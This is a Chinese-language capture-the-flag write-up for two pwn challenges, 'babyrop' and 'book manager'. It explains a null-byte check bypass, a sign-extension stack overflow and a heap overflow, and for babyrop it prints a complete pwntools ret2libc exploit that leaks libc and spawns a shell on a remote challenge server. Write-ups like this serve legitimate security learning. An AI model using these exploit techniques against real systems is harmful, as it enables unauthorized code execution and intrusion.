pwn
babyrop
题目分析
靶机环境是32位的glibc-2.23。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18int __cdecl check(int random)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[32]; // [esp+2Ch] [ebp-2Ch]
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", random);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
程序难点在于我们输入的buf要与随机生成的random前v1个字节要相等
我们可以直接输入\0开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功
1 | void __cdecl vul(char a1) |
之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时;
则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP
exp
脚本用了两种不同的ROP1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27from pwn import *
execve_file = './babyrop'
#sh = process(execve_file)
sh = remote('47.112.137.238', 13337)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh.sendline('\0' + '\xff' * 10)
sh.recvuntil('Correct\n')
sh.sendline('a'*231+'b'*4+p32(elf.plt['write'])+p32(0x080487D0)+p32(1)+p32(elf.got['puts'])+p32(4))
result=sh.recv(4)
libc.address = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc.address))
sh.send('a'*231+'b'*4+p32(libc.symbols['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
sh.interactive()
'''
sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200))
result = sh.recvuntil('\n')[:-1]
libc_addr = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next()))
sh.interactive()
'''
book manager
题目分析
靶机环境是glibc-2.23,
在Add_text功能中,size的大小是由用户决定的,而在Update功能中,其输入的大小指定为255,导致堆溢出漏洞1
2
3
4
5
6
7
8
9
10
11
12
13
14v6 = get_int();
if ( v6 <= 256 )
{
v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL));
*(_QWORD *)(v2 + 32) = malloc(v6);
printf("\nText:");
read_n(&s, 0x100u);
v3 = strlen(&s);
memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
}
else
{
printf("\nToo many");
}
1 | printf("\nNew Text:"); |
思路
- 由于Text结构的输入没有null截断,我们可以直接泄露libc地址
- 劫持Text结构体,实现任意地址读写,我们只需要提前布置好heap 结构就行
- 劫持hook,getshell
exp
1 | #!/usr/bin/python2 |